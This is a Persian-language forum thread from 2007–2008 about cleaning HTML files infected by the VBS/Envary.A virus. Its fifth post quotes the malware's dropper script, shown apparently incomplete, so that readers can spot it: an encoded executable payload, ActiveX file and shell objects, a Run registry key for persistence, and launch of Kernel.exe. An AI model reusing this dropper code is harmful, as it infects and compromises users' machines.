انجمن‌های سرمایه

بازگشت   انجمن‌های سرمایه > تالارهای غیرتخصصی > کامپیوتر و اینترنت

Notices

پاسخ
 
ابزارهاي موضوع
قديمي August 8th, 2007, 14:32   #1
nanoc
Senior Member
 
nanoc's Avatar
 
تاريخ عضويت: Feb 2006
ارسالها: 163
تشکر: 216
تشکر از ايشان: 163 بار در 87 پست
nanoc (سطح 1)nanoc (سطح 1)
Angry VBS/Envary.A virus

0

سلام دوستان
ویروس سیستم منو وخورد !!!
اسم ویروس : VBS/Envary.A virus
این ویروس روی فایل های htm قرار ميگیره و با اجرای اینترنت اکسپلورر اجرا میشه و...

چون شکم گرفته بود که ویروس دارم
Nod32 كه محسن خان قرار داده بود رو دانلود کردم
دیدم بههههههههه 59000 فایل ویروسی
همه هم فایل های فارکس ...
مشکلی که الان دارم اینه که Nod توانايي پاک سازی فایل ها رو نداره یا پاک میکنه یا تغییر نام !!
دوستان اگر نرم افزاری میشناسن که این فایل ها رو تمیز کنه و پاک نکننه لطفا کمک کنن

کاری که میخوام بکنم نوشتن یه برنامه برای پاک کردن اون تیکه از کد مخرب ویروس هست ! البته اگر راه دیگری نباشه
ممنون
موفق باشید

آخرین ويرايش توسط nanoc در August 8th, 2007 و ساعت 14:35
nanoc آفلاين است پاسخ با نقل قول
قديمي August 8th, 2007, 15:04   #2
nanoc
Senior Member
 
nanoc's Avatar
 
تاريخ عضويت: Feb 2006
ارسالها: 163
تشکر: 216
تشکر از ايشان: 163 بار در 87 پست
nanoc (سطح 1)nanoc (سطح 1)
0

Nod رو اپدیت کردم
اسم ویروسه عوض شد
و ویروس به تروجان تغییر نام یافت !!!!!!!!!!!!!!!!!!!
VBS/TrojanDropper.Small.W trojan
!!!
كمكككككككككككككك
nanoc آفلاين است پاسخ با نقل قول
قديمي August 8th, 2007, 15:19   #3
K1
Senior Member
 
K1's Avatar
 
تاريخ عضويت: Mar 2006
ارسالها: 440
تشکر: 683
تشکر از ايشان: 311 بار در 132 پست
K1 (سطح 2)K1 (سطح 2)K1 (سطح 2)K1 (سطح 2)K1 (سطح 2)K1 (سطح 2)
ارسال پيغام بوسیله Yahoo به K1
0

salam .
kaspersky beriz tamameshono az bein mibare..!!
__________________
Steven Weinberg
With or without religion, good people can behave well and bad people can do evil; but for good people to do evil,that takes religion
K1 آفلاين است پاسخ با نقل قول
تشکر کننده از K1:
قديمي August 8th, 2007, 17:11   #4
Mohsen
مدیر ارشد
 
Mohsen's Avatar
 
تاريخ عضويت: Jan 2006
محل سكونت: تهران
ارسالها: 3,128
تشکر: 2,195
تشکر از ايشان: 12,832 بار در 2,939 پست
Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)Mohsen (سطح 9)
0

سلام

این یکی را امتحان بفرمایید . امیدوارم بر طرف شود :

http://forum.sarmaye.com/showpost.ph...&postcount=849


موفق باشید
Mohsen آفلاين است پاسخ با نقل قول
تشکر کننده از Mohsen:
قديمي August 30th, 2007, 21:29   #5
nanoc
Senior Member
 
nanoc's Avatar
 
تاريخ عضويت: Feb 2006
ارسالها: 163
تشکر: 216
تشکر از ايشان: 163 بار در 87 پست
nanoc (سطح 1)nanoc (سطح 1)
0

هاااااااااااااا وکشتمش !
از این آنتی ویروس ها چیزی ...
خودم آنتی شو ونوشتم !
یکی از دوستان در مورد یه نفری گفت به من ویروس داده ...
نگاه کردم دیدم همینه !
دوستان فایل های HTML شون رو چک کنن
آخرش قطعه کدی ناشناسی یا کدی که در همه فایل های HTML داشته باشن ..
مثال !
نقل قول:
<script language=vbscript>
on error resume next
fileexe1="0770901440000030000000000040000000002552 55000000184000000000000000000000064000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000001840000000 00014031186014000180009205033184001076205033084104 10511503211211411110311409710903209909711011011111 60320981010321141171100321051100320680790830321091 11100101046013013010036000000000000000000000212036 14202814406922407914406922407914406922407903009024 30791350692240791081012420791470692240790821050991 04144069224079000000000000000000000000000000000000 00000000000008006900000007600100300008111504706900 00000000000000000000002240000150010110010050120000 02000000000030006000000000000000007017000000000016 00000000003200000000000006400000001600000000000200 00000040000000000040000000000040000000000000000000 00000080006000000004000000139039000000002000000000 00000001600000001600000000000001600000001600000000 00000000000160000000000000000000000000000000000680 32000000100000000000000000000000000000000000000000 00000000000000000000000000000000020340711110321161 11032109121032115097105116058032104116116112058047 04710310511410811510112004611910109811504610511104 71121050991161171141010461041161090340130101110981 06077101115115097103101046083101110100013010109097 10510809706110909710510810904611410109710010810511 01010130101191011101000130101021151110460671141010 97116101084101120116070105108101040115121115032038 03203409208312111511610110911804610010810803404104 61191141051161010320341111021020340130101011101000 32115117098013010"
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
For a = 1 To Len(filevbs1) Step 3
filevbs2=filevbs2 & chr(mid(filevbs1,a,3))
if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))
next
kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Micr osoft\Windows\CurrentVersion\Run\Microsoft Windows"))
fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1
if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2
s.Open (sys & "\Kernel.exe")
شمام بله!
آنتی ویروس فقط کاسپر اسکای
nanoc آفلاين است پاسخ با نقل قول
قديمي October 5th, 2007, 00:00   #6
kaviir
Junior Member
 
تاريخ عضويت: Oct 2007
ارسالها: 2
تشکر: 1
تشکر از ايشان: 0 بار در 0 پست
kaviir (سطح 0)
help me

0

منم این ویروس را گرفتم
همه آنتی ویروس ها هم فقط میخوان فایل را حذف کنند
چکار کنم ؟
kaviir آفلاين است پاسخ با نقل قول
قديمي October 5th, 2007, 18:05   #7
nanoc
Senior Member
 
nanoc's Avatar
 
تاريخ عضويت: Feb 2006
ارسالها: 163
تشکر: 216
تشکر از ايشان: 163 بار در 87 پست
nanoc (سطح 1)nanoc (سطح 1)
Cool

0

نقل قول:
نوشته اصلي بوسيله kaviir نمايش نوشته ها
منم این ویروس را گرفتم
همه آنتی ویروس ها هم فقط میخوان فایل را حذف کنند
چکار کنم ؟
سلام
شما اول با کاسپراسکی شاخه ویندوز رو اسکن کنید و ...
بعد این برنامه رو باز کنید
درایو رو انتخاب کنید و روی سرچ کلیک کنید صبر کنید فایل ها رو لیست که کرد بعد روی Clean کلیک کنید
(در قسمت Path ) هم میتونید مسیر جستجو رو بدید
...

[کاربران ثبت نام شده مجاز به مشاهده لینک ها می باشند. ]



امکان داره برنامه هنگ کنه موردی نداره داره کارشو میکنه !!
دوستانی هم که شک دارن این وروس رو دارن روی گذینه Find Virus کلیک کنن اگه داشته باشن لیست میکنه
موفق و پیروز باشید
nanoc آفلاين است پاسخ با نقل قول
تشکر کننده از nanoc:
قديمي October 5th, 2007, 18:46   #8
m.zamani
Senior Member
 
m.zamani's Avatar
 
تاريخ عضويت: Jun 2007
محل سكونت: دشتستان
ارسالها: 107
تشکر: 259
تشکر از ايشان: 380 بار در 124 پست
m.zamani (سطح 1)m.zamani (سطح 1)
0

مجموعه ای از ضد ویروسهای قدرتمند

[کاربران ثبت نام شده مجاز به مشاهده لینک ها می باشند. ]

در ادرس نوشته شده -برای دانلود - بر روی ادامه مطلب کلیک کنید...
__________________
بیستون کندن فرهاد نه کاریست شگفت* شور شیرین به سر هر که فتد کوهکن است

آخرین ويرايش توسط m.zamani در October 5th, 2007 و ساعت 18:49
m.zamani آفلاين است پاسخ با نقل قول
تشکر کننده از m.zamani:
قديمي October 5th, 2007, 23:53   #9
kaviir
Junior Member
 
تاريخ عضويت: Oct 2007
ارسالها: 2
تشکر: 1
تشکر از ايشان: 0 بار در 0 پست
kaviir (سطح 0)
mamnoon

0

نقل قول:
نوشته اصلي بوسيله nanoc نمايش نوشته ها
سلام
شما اول با کاسپراسکی شاخه ویندوز رو اسکن کنید و ...
بعد این برنامه رو باز کنید
درایو رو انتخاب کنید و روی سرچ کلیک کنید صبر کنید فایل ها رو لیست که کرد بعد روی Clean کلیک کنید
(در قسمت Path ) هم میتونید مسیر جستجو رو بدید
...

[کاربران ثبت نام شده مجاز به مشاهده لینک ها می باشند. ]



امکان داره برنامه هنگ کنه موردی نداره داره کارشو میکنه !!
دوستانی هم که شک دارن این وروس رو دارن روی گذینه Find Virus کلیک کنن اگه داشته باشن لیست میکنه
موفق و پیروز باشید
واقعا ممنون
kaviir آفلاين است پاسخ با نقل قول
قديمي October 6th, 2007, 04:51   #10
astaraus
Junior Member
 
astaraus's Avatar
 
تاريخ عضويت: Oct 2007
ارسالها: 29
تشکر: 42
تشکر از ايشان: 77 بار در 45 پست
astaraus (سطح 1-)
0

اقا من هرکاری میکنم پاک نمیشه
کمکی بکنید
astaraus آفلاين است پاسخ با نقل قول
قديمي October 6th, 2007, 05:03   #11
nanoc
Senior Member
 
nanoc's Avatar
 
تاريخ عضويت: Feb 2006
ارسالها: 163
تشکر: 216
تشکر از ايشان: 163 بار در 87 پست
nanoc (سطح 1)nanoc (سطح 1)
0

یکی از فایل های ویروسی رو یه جا آپلود کنید لینک بدید !
با آنتی ویروس کاسپراسکی درایو ویندوز رو اسکن کنید ویروس .. رو ..
nanoc آفلاين است پاسخ با نقل قول
قديمي September 12th, 2008, 17:17   #12
PAYAM20
Junior Member
 
تاريخ عضويت: Sep 2008
ارسالها: 1
تشکر: 0
تشکر از ايشان: 0 بار در 0 پست
PAYAM20 (سطح 0)
0

نقل قول:
نوشته اصلي بوسيله nanoc نمايش نوشته ها
سلام
شما اول با کاسپراسکی شاخه ویندوز رو اسکن کنید و ...
بعد این برنامه رو باز کنید
درایو رو انتخاب کنید و روی سرچ کلیک کنید صبر کنید فایل ها رو لیست که کرد بعد روی Clean کلیک کنید
(در قسمت Path ) هم میتونید مسیر جستجو رو بدید
...

[کاربران ثبت نام شده مجاز به مشاهده لینک ها می باشند. ]



امکان داره برنامه هنگ کنه موردی نداره داره کارشو میکنه !!
دوستانی هم که شک دارن این وروس رو دارن روی گذینه Find Virus کلیک کنن اگه داشته باشن لیست میکنه
موفق و پیروز باشید
برنامه از سرور پاک شده
اگه میشه دوباره آپ کنیدش
ممنون
PAYAM20 آفلاين است پاسخ با نقل قول
قديمي September 12th, 2008, 17:26   #13
mohsen66
Senior Member
 
mohsen66's Avatar
 
تاريخ عضويت: Sep 2007
ارسالها: 526
تشکر: 1,134
تشکر از ايشان: 1,129 بار در 392 پست
mohsen66 (سطح 1)mohsen66 (سطح 1)mohsen66 (سطح 1)mohsen66 (سطح 1)mohsen66 (سطح 1)
0

نقل قول:
نوشته اصلي بوسيله PAYAM20 نمايش نوشته ها
برنامه از سرور پاک شده
اگه میشه دوباره آپ کنیدش
ممنون
آقا پیام حدود یه سال دیر رسیدید
به تاریخ آخرین پست قبل از خود نگاه کنید.
ارادت
mohsen66 آفلاين است پاسخ با نقل قول
تشکر کننده از mohsen66:
پاسخ

Bookmarks

برچسب‌ها
vbs or envarya, virus

ابزارهاي موضوع

قواعد ارسال
شما نمی‌توانید موضوع جدید ارسال کنید
شما نمی‌توانید پاسخ ارسال کنید
شما نمی‌توانید فایل ضمیمه ارسال کنید
شما نمی‌توانید پست‌های خود را ویرایش کنید

BB code فعال است
شکلکها فعال است
كد [IMG] فعال است
کدهای HTML غير فعال است


موضوعات مشابه
موضوع آغازگر موضوع انجمن پاسخ آخرین ارسال
ویروس (Virus) Farrokh کامپیوتر و اینترنت 56 April 16th, 2011 17:07

ساعت جاري 03:24 با تنظيم GMT +4.5 مي باشد.


Powered by vBulletin Version 3.8.10
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd.
تمام حقوق براي سايت سرمايه دات کام محفوظ می باشد.
نقل مطالب بدون کسب اجازه از مدیران سایت ممنوع است.